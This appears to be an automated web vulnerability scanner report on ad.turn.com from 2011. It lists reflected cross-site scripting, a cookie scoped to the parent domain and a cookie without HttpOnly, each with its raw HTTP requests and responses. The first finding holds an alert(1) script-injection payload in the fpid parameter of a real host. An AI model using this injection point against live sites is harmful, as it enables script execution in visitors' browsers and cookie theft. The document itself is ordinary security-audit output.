1. Cross-site scripting (reflected)
2. Cookie scoped to parent domain
3. Cookie without HttpOnly flag set
Severity: | High |
Confidence: | Certain |
Host: | http://ad.turn.com |
Path: | /server/pixel.htm |
GET /server/pixel.htm?fpid=8f1a2"><script>alert(1)< Host: ad.turn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close |
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=8977556597757145533; Domain=.turn.com; Expires=Fri, 08-Jul-2011 02:03:23 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Date: Sun, 09 Jan 2011 02:03:23 GMT Connection: close <html> <head> </head> <body> <iframe name="turn_sync_frame" width="0" height="0" frameborder="0" src="http://cdn.turn.com marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no"> ...[SNIP]... |
Severity: | Information |
Confidence: | Certain |
Host: | http://ad.turn.com |
Path: | /server/pixel.htm |
GET /server/pixel.htm?fpid=10 Host: ad.turn.com Proxy-Connection: keep-alive Referer: http://www.mlive.com/ Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: pf=TiY2Y7UsIzsDKs0Lv |
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Fri, 08-Jul-2011 01:48:35 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sun, 09 Jan 2011 01:48:35 GMT Content-Length: 377 <html> <head> </head> <body> <iframe name="turn_sync_frame" width="0" height="0" frameborder="0" src="http://cdn.turn.com ...[SNIP]... |
Severity: | Information |
Confidence: | Certain |
Host: | http://ad.turn.com |
Path: | /server/pixel.htm |
GET /server/pixel.htm?fpid=10 Host: ad.turn.com Proxy-Connection: keep-alive Referer: http://www.mlive.com/ Accept: application/xml User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: pf=TiY2Y7UsIzsDKs0Lv |
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Fri, 08-Jul-2011 01:48:35 GMT; Path=/ Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Sun, 09 Jan 2011 01:48:35 GMT Content-Length: 377 <html> <head> </head> <body> <iframe name="turn_sync_frame" width="0" height="0" frameborder="0" src="http://cdn.turn.com ...[SNIP]... |